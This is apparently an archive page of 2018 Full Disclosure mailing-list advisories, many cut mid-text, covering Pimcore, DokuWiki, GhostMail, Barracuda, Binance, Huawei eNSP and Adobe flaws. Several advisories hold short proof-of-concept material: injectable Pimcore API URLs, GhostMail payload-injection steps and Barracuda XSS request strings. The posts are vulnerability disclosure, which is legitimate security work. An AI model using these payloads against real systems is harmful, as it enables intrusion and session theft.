https://download.dokuwiki.org/out/dokuwiki-8a269cc015a64b40e4c918699f1e1142.tgz Also found to be vulnerable: 2017-02-19 stable release 2016-06-26 stable release 2015-08-10 stable release 2014-09-29 stable release 2014-05-05 stable release 2013-12-08 stable release Vendor contact timeline: 2018-07-18: Contacting vendor through a...@splitbrain.org 2018-07-18: Vendor replied, they asked for the advisory without encryption 2018-07-19: Advisory sent without encryption 2018-07-19: Vendor replied with no intention to fix the vulnerability 2018-07-30: Reminder sent to the vendor. No reply 2018-08-20: Ask for updates to the vendor 2018-08-20: Vendor replied that no patch will be provided 2018-09-06: Public release of security advisory Solution: - The issue will not be fixed according to the vendor: https://github.com/splitbrain/dokuwiki/issues/2450 Workaround: --- None Advisory URL: - https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality
[FD] SEC Consult SA-20180813-0 :: SQL Injection, XSS & CSRF vulnerabilities in Pimcore
SEC Consult Vulnerability Lab Security Advisory < 20180813-0 > === title: SQL Injection, XSS & CSRF vulnerabilities product: Pimcore vulnerable version: 5.2.3 and below fixed version: 5.3.0 CVE number: CVE-2018-14057, CVE-2018-14058, CVE-2018-14059 impact: High homepage: https://pimcore.com/en found: 2018-06-11 by: T. Silpavarangkura (Office Bangkok) N. Rai-Ngoen (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com === Vendor description: --- "Pimcore is an award-winning consolidated open source enterprise platform for master data management (PIM/MDM), user experience management (CMS/UX), digital asset management (DAM) and eCommerce." Source: https://pimcore.com/en Business recommendation: The vendor provides a patch for most identified issues, but XSS will not be fixed according to the vendor. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: --- 1. SQL Injection (CVE-2018-14058) Multiple SQL injection vulnerabilities have been identified in the REST web service API. An attacker who obtains a valid API key that is granted a necessary permission could successfully perform an attack to extract information from the database. 2. Stored Cross-site Scripting (CVE-2018-14059) Multiple stored cross-site scripting vulnerabilities have been identified across multiple functions in the application, which allows an authenticated attacker to insert arbitrary JavaScript code in virtually all text fields and data entries in the application. 3. Cross-site Request Forgery (CVE-2018-14057) Multiple functions in the application are not protected by the existing anti-CSRF token, which allows an attacker to perform a cross-site request forgery attack to at least add, update or delete entries, among other actions. Proof of concept: - 1. SQL Injection (CVE-2018-14058) The following URLs demonstrate the issue: http:///webservice/rest/asset-count?apikey=[...]&condition= http:///webservice/rest/asset-inquire?apikey=[...]&id= http:///webservice/rest/asset-list?apikey=[...]&condition= http:///webservice/rest/document-count?apikey=[...]&condition= http:///webservice/rest/document-inquire?apikey=[...]&id= http:///webservice/rest/document-list?apikey=[...]&condition= http:///webservice/rest/object-count?apikey=[...]&condition= http:///webservice/rest/object-inquire?apikey=[...]&id= http:///webservice/rest/object-list?apikey=[...]&condition= Note that a valid API key that is granted at least either "Assets", "Documents" or "Objects" permission is required to perform an SQL injection attack against associated API endpoints successfully. 2. Stored Cross-site Scripting (CVE-2018-14059) Most of the text fields in pop-up dialogs and data entries in the application are vulnerable to the cross-site scripting vulnerability, which can be exploited by an authenticated attacker. For example, the attacker could insert an attack payload while performing at least the following actions: 1) Edit a user account's first name/last name/e-mail address. 2) Edit a Document Types/Predefined Properties/Predefined Asset Metadata/ Quantity Value/Static Routes entry value in the table. 3) Rename an Assets/Data Objects/Video Thumbnails/Image Thumbnails/ Field-Collections/Objectbrick/Classification Store item. The vendor stated that many identified XSS issues only affect administrative functions and hence the issues will not be fixed: "They are only affecting administrative functionalities (higher privileges required) - so this isn't used by non-trusted users - a check just adds additional overhead without any benefits for security." SEC Consult argued multiple times that XSS can still be exploited e.g. when a higher privileged user gets attacked and the issues should be fixed nevertheless. 3. Cross-site Request Forgery (CVE-2018-14057) The existing anti-CSRF token in the HTTP request header named "X-pimcore-csrf-token" was found to be validated only in the "Settings > Users / Roles" function. Therefore, an attacker could perform a cross-site request forgery attack against virtually all other functions in order to at least add, update and delete data without having to submit the anti-CSRF token. The non-exhaustive list of affected requests are listed below: POST /admin/asset/a
[FD] Adobe Patches Vulnerability Affecting Internal Systems
Title: Adobe Patches Vulnerability Affecting Internal Systems Source: https://www.securityweek.com/adobe-patches-vulnerability-affecting-internal-systems Title: Adobe on internal systems security hole Source: https://www.theregister.co.uk/2018/07/19/adobe_internal_systems_bug/ References: Hacker Injects Arbitrary Codes to Main Lead Database of Adobe Systems https://www.vulnerability-db.com/?q=articles/2018/07/19/hacker-injects-arbitrary-codes-main-lead-database-adobe-systems -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Adobe Systems - Arbitrary Code Injection Vulnerability
d and the case scenario has been full transparent delivered to ensure the problematic becomes visible to adobe. (Example: http://t.info.adobesystems.com//r/?id=h70201f92,8cea7339,8cea7343&p1=%40HeFLnKJ3LTguSxrRQIi3boBCMRBrTTbGPcHOK%2F%2BwiM4%3D) Security Risk: == The security risk of the arbitrary code injection vulnerability in the adobe web services are estimated as high. Credits & Authors: == Benjamin K.M. (Vulnerability Laboratory Core Research Team)[resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] GhostMail - (Status Message) Persistent Web Vulnerability
Document Title: === GhostMail - (Status Message) Persistent Web Vulnerability References (Source): http://www.vulnerability-lab.com/get_content.php?id=1470 Release Date: = 2018-06-27 Vulnerability Laboratory ID (VL-ID): 1470 Common Vulnerability Scoring System: 4 Vulnerability Class: Script Code Injection Current Estimated Price: 1.000€ - 2.000€ Product & Service Introduction: === Sign up to military grade encrypted GhostMail and enjoy instant free and secure email & chat. No download or installs needed. GhostMail is your new secure email & chat platform, with great features like self destruction, two factor login and much more... Join free today and start enforcing your privacy and online rights. (Copy of the Vendor Homepage: https://www.ghostmail.com/ ) Abstract Advisory Information: == The vulnerability laboratory core research team discovered an application-side vulnerability in the official GhostMail chat online service web-application. Vulnerability Disclosure Timeline: == 2018-06-27: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): GhostCom Ltd. Product: GhostMail (Chat) - Web Application (Online Service) 2015 Q2 Exploitation Technique: === Remote Severity Level: === Medium Authentication Type: Restricted authentication (user/moderator) - User privileges User Interaction: = Low User Interaction Disclosure Type: Bug Bounty Program Technical Details & Description: An application-side html injection web vulnerability has been discovered in the official GhostMail chat web-application. The vulnerability allows to inject unauthorized malicious script codes on the application-side of the affected module. The issue exists in chat status of the application and is remotly exploitable against other ghostmail user accounts. The request method to inject is POST and the attack vector is located on the application-side of the affected online service web-application. The encoding of the status message in the chat client is broken. Local and remote attackers can use the lack of validation to perform html injection attacks to compromise user/moderator/admin session data. The security risk of the html injection web vulnerability is estimated as medium with a cvss count of 4.0. Exploitation of the issue requires a low privileged web-application user account and no direct user interaction. Successful exploitation of the application-side vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation affected or connected module context. Vulnerable Domain(s): [+] Ghostmail.com Vulnerable Module(s): [+] Status Message Vulnerable Parameter(s): [+] Status message body context Proof of Concept (PoC): === The html injection web vulnerability can be exploited by local and remote attackers with low user interaction and low privileged application user account. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Manual Steps to reproduce the vulnerability ... 1. Register an account and login to the ghostmail application 2. Move to the chat status contents 3. Close the tag of title with double quote " 4. Now, add a new malicious content as payload in the status title for the chat 5. Start to chat and in the same moment the execution of the script code occurs at both party sides of the client 6. Successful reproduce of the vulnerability! Note: There is no filter validation or mechanism in place to prevent an execution within the ghostmail web-application. Reference(s): https://www.ghostmail.com/ Solution - Fix & Patch: === The vulnerability can be patched by a parse and encode of the vulnerable status mesage in the ghostmail chat client. The issue has been reported in 2016 Q4 (2016-10-01) and was finally resolved in 2017 Q3 - Q4 by the ghostmail developer team. Security Risk: == The security risk of the application-side input validation web vulnerability in the chat module is estimated as medium (CVSS 4.0). Credits & Authors: ========== Vulnerability-Lab [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantabilit
[FD] GhostMail - (filename to link) POST Inject Web Vulnerability
he input and disallow special chars. Escape the web context to prevent an application-side script code execution vulnerability. The vulnerability has been reported 2016-10-01. The issue was resolved during the 2017 Q2 - Q4 by the ghost mail developer team. Security Risk: == The security risk of the application-side input validation web vulnerability in the ghostmail mail module is estimated as medium (CVSS 4.2). Credits & Authors: == Vulnerability-Lab [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Binance v1.5.0 - Insecure File Permission Vulnerability
Document Title: === Binance v1.5.0 - Insecure File Permission Vulnerability References (Source): https://www.vulnerability-lab.com/get_content.php?id=2135 Release Date: = 2018-07-17 Vulnerability Laboratory ID (VL-ID): 2135 Common Vulnerability Scoring System: 2.5 Vulnerability Class: Access Permission Weakness Current Estimated Price: 500€ - 1.000€ Abstract Advisory Information: == An independent vulnerability laboratory researcher discovered an insecure file permission vulnerability in the Binance v1.5.0 software. Vulnerability Disclosure Timeline: == 2018-07-15: Researcher Notification & Coordination (Security Researcher) 2018-07-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): Binance Product: Binance 1.5.0 Exploitation Technique: === Local Severity Level: === Low Authentication Type: Full authentication (admin) - full privileges User Interaction: = Medium User Interaction Disclosure Type: Independent Security Research Technical Details & Description: Insecure File Permissions vulnerability has been discovered in the official Binance v1.5.0 software. The vulnerability allows local attackers to exploit insecure permissions setup for a software or process to exploit by manipulation. The vulnerability exists due to insecure default permissions set on the Binance.exe, start.exe and unins000.exe There are no integrity checks or validation proof to ensure that the executable file is not modified during the runtime or after it. A local attacker could exploit the local vulnerability by replacing `Binance.exe` and `start.exe` or `unins000.exe` with a malicious executable file. The malicious file could execute or modify with the LocalSystem permissions to followup with successful exploitation. Proof of Concept (PoC): === Binance for windows contains a vulnerability that could allow a local attacker to gain elevated privileges. For security demonstration or to reproduce the vulnerability follow the provided information and steps below. -- PoC Session Logs (Permissions) -- C:Binance>icacls binance.exe Binance.exe BUILTINAdministrateurs:(I)(F) <--- Full Access AUTORITE NTSystème:(I)(F) BUILTINUtilisateurs:(I)(RX) AUTORITE NTUtilisateurs authentifiés:(I)(M) <--- Modify Information: 1 files correctly processed; 0 files failed to process C:Binance>icacls start.exe start.exe BUILTINAdministrateurs:(I)(F) <--- Full Access AUTORITE NTSystème:(I)(F) BUILTINUtilisateurs:(I)(RX) AUTORITE NTUtilisateurs authentifiés:(I)(M) <--- Modify Information: 1 files correctly processed; 0 files failed to process C:Binance>icacls unins000.exe unins000.exe BUILTINAdministrateurs:(I)(F) <--- Full Access AUTORITE NTSystème:(I)(F) BUILTINUtilisateurs:(I)(RX) AUTORITE NTUtilisateurs authentifiés:(I)(M)<--- Modify Information: 1 files correctly processed; 0 files failed to process Solution - Fix & Patch: === Include multiple integrity checks for the software files on startup and during the static runtime. Change the access permissions for the process of all three executables files (binance.exe, stat.exe & uninst00.exe). Security Risk: == The security risk of the insecure file permissions vulnerability and missing integrity check in the software core is estimated as low. Credits & Authors: == ZwX [Vulnerability Laboratory - Security Manager] - https://www.vulnerability-lab.com/show.php?user=ZwX Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability
[FD] Barracuda Cloud Control 7.1.1.003 - Cross Site Scripting Vulnerability
ank You Your Barracuda Networks user has been created. Please follow the instructions emailed to b...@evolution-sec.com 20%3E%3Ca%20%3E%20>"<%20 to log in and create an account. .create_success { padding: 15px; background: url('/cui/images/checkbox.png') center 50px no-repeat; text-align: center; } .create_success h2 { font-size: 150%; padding-bottom: 90px; } .create_success p { font-size: 125%; text-align: center; } --- PoC Session Logs [GET] --- Status: 200[OK] GET https://cc.localhost:8000/new_user/success/?email=bkm%40evolution-sec.com%20%3E%3Ca%20%3E%20>"<%20 Mime Type[text/html] Request Header: Host[cc.localhost:8000] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Cookie[backup_session=03d2d8r7cf752jknkc9esfhet5; CLOUD_LOCALE=en_US; BNI_CLOUD_AT=1f20800a5000; _ga=GA1.2.1374742774.1477554133; _gat=1; mfa=0; CLOUD_LAST_LOCALE=en_US; cloud_session=44kti8ik7qdnb57kdfftfehje3] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Date[x] X-Frame-Options[SAMEORIGIN] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Set-Cookie[CLOUD_LOCALE=en_US; expires=Tue, 25-Apr-2017 07:44:45 GMT; Max-Age=15552000; path=/; domain=.localhost:8000; secure cloud_session=44kti8ik7qdnb57kdfftfehje3; path=/; domain=.localhost:8000 BNI_CLOUD_AT=1f20800a5000; Path=/] X-Cloud-Auth[0] Vary[Accept-Encoding,User-Agent] Connection[Keep-Alive] Content-Type[text/html; charset=UTF-8] Transfer-Encoding[chunked] Reference(s): https://cc.localhost:8000/ https://cc.localhost:8000/new_user/ https://cc.localhost:8000/new_user/success/ Solution - Fix & Patch: === The vulnerability can be patched by a parse of the vulnerable email parameter in the thank you registration page of barracuda networks cc application. Parse in the vulnerable output location the source to prevent the execution of the client-side injected payloads. Disallow the usage of special chars on parameter requests via GET method. Security Risk: == The security risk of the client-side cross site scripting web vulnerability in the cloud control web-application is estimated as medium. Credits & Authors: == Benjamin K.M. (Vulnerability Laboratory Core Research Team) - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To
[FD] Barracuda Cloud Control v3.020 - CS Cross Site Vulnerability
oss Site Scripting PoC https://bcc.127.0.0.1:1336/cgi-mod/index.cgi?password=befc663e87db8e886c5d8afe5f73cc3e&et=1342741957&; primary_tab=BASIC&new_secondary_tab=user_management&auth_type=Local&nodeid=13633&locale=de_DE& secondary_tab=edit_user&page_submitted=550a4ef30b4d0aa5d5435c2f09b3c09c&content_only=1&target_user= 1337benny%40barracuda.com">http://www.vulnerability-lab.com onload=alert("VulnerabilityLab") < &tree_name=devices&tree_filter=bccadmin&user=benny%40barracuda.com&ispopup=1&parent_name= user_management&popup_width=800&popup_height=500> PoC: INDEX.CGI - Mail Listing (Output) (Benutzer bearbeiten > Benutzerspezifische Bayessche Daten) [target_user] Benutzerspezifische Bayessche Daten: 1337be...@barracuda.com"><[EXECUTION OF CLIENT SIDE SCRIPT CODE!])' <<="" td=""> Reference(s): https://bcc.127.0.0.1:1336/ https://bcc.127.0.0.1:1336/cgi-mod/ https://bcc.127.0.0.1:1336/cgi-mod/index.cgi Solution - Fix & Patch: === The vulnerability can be patched by a secure parse and encode of the vulnerable index.cgi file. Restrict the input of the vulnerable marked values and disallow the usage of special chars. Use entities and filter all inputs with an exception-handling to prevent client-side exploitation. Note: The issue was reported in 2016 Q4 to the barracuda networks developer team. The issue was finally resolved in 2017 Q3 - Q4. The disclosure process took about 8month to complete by recognizing the patch cycle. Security Risk: == The security risk of the non-persistent cross site scripting vulnerability in the target_user value parameter is estimated as medium. Credits & Authors: == Vulnerability-Lab [resea...@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains:www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php- vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab- facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] Huawei eNSP v1 - Buffer Overflow (DoS) Vulnerability
Document Title: === Huawei eNSP v1 - Buffer Overflow (DoS) Vulnerability References (Source): https://www.vulnerability-lab.com/get_content.php?id=2132 Security ID: huawei-sa-20180309-01-ensp https://nvd.nist.gov/vuln/detail/CVE-2017-17321 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17321 Acknowledgements: https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20180309-01-ensp-en http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-17321 CVE-ID: === CVE-2017-17321 Release Date: = 2018-07-13 Vulnerability Laboratory ID (VL-ID): 2132 Common Vulnerability Scoring System: 3.3 Vulnerability Class: Buffer Overflow Current Estimated Price: 500€ - 1.000€ Product & Service Introduction: === Enterprise Network Simulation Platform (eNSP) is a free, scalable, and graphic network simulation platform developed by Huawei. Huawei eNSP is a management and support software as service. (Copy of the Homepage: https://support.huawei.com/enterprise/en/network-management/ensp-pid-9017384 ) Abstract Advisory Information: == The vulnerability laboratory core research team discovered a buffer overflow causing a denial of service in the official Huawei eNSP v1. Vulnerability Disclosure Timeline: == 2018-07-13: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Affected Product(s): Huawei Product: eNSP v100R002C00B510 v100R002C00B500 Huawei Product: eNSP V100R002C00B390 V100R002C00B380 V100R002C00B370 V100R002C00B Huawei Product: eNSP V100R002C00B210 V100R002C00B200 Huawei Product: eNSP V100R002C00B120 V100R002C00B110 V100R002C00B100 Exploitation Technique: === Local Severity Level: === Medium Authentication Type: Restricted authentication (user/moderator) - User privileges User Interaction: = No User Interaction Disclosure Type: Responsible Disclosure Program Technical Details & Description: A buffer overflow causing a denial of service vulnerability has been discovered in the official Huawei eNSP v1. The vulnerability allows to an attacker to crash or shutdown the software process by unexpected behavior. Huawei eNSP is vulnerable to a buffer overflow resulting in a denial of service, caused by improper validation of specific command line parameter. A local authenticated attacker could exploit the vulnerability to cause the software process to become abnormal with unexpected behavior and unhandled errors by sending a special crafted paket requests. Solution - Fix & Patch: === Huawei has released software updates to fix this security vulnerability. Customers of the product should contact Huawei TAC (Huawei Technical Assistance Center) to request the upgrades contents. This advisory is available at the following link: http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20180309-01-ensp-en Security Risk: == The security risk of the buffer overflow causing a denial of service and unhandled unexpected errors in the huawei ensp v1 is estimated as medium. Credits & Authors: == S.AbenMassaoud [Vulnerability Laboratory Core Research Team] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_labfacebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php v
[FD] HackRF Circuit Board - New Universal Case for Devs & Pentesters
Document Title: === HackRF Circuit Board - New Universal Case for Devs & Pentesters References: === https://www.vulnerability-lab.com/get_content.php?id=2134 Download: https://www.vulnerability-lab.com/resources/documents/2134.rar Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2018/07/11/new-hackrf-case-devs-pentesters-released-abs-pla Release Date: = 2018-07-11 Vulnerability Disclosure Timeline: == 2018-07-11: Public Disclosure (Vulnerability Laboratory) Discovery Status: = Published Technical Details & Description: Normally the hackrf is delivered with a hard metal case, metal plates and some screws like you can see in the following picture. In all our tests and developments, the case was maninly useless because of the device access and weight. The following print includes a special 3 part case for the HackRF device (PLA or ABS). The 3 part case allows you to interact with the board during a running mode. The first part is the main part that holds the hackrf board safe. The size of the case has been optimized for the board for a handy usage. Next to that the weight of the new case is much lower. The case is handier and slimmer cut although it has all the information elements like the original case. The first and third part of the case shows all information of the device with the specific declarations (clkin, clkout, usb, leds and more), one part is directly connected to the lower part, the third part is attached like a cover. In the regular metal case you have to use the screws and in the new case there is no requirement for them anymore because of the board is already stabilised through the pin holes with the basic nut bolt. The usage of ABS is a better solution for this case then using PLA to make the case more heat resistant. The full case with the SLDPRT (Editable) and STL (Print) files can be downloaded from the official vulnerability laboratory page in the documents section. Enjoy to use and share the new hackrf case for your developments or pentests. Credits & Authors: == Vulnerability Laboratory [Core Research Team] Disclaimer & Information: = The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_labfacebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ #hackrf #case #3dprinter -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] SEC Consult SA-20180712-0 :: Remote Code Execution & Local File Disclosure in Zeta Producer Desktop CMS
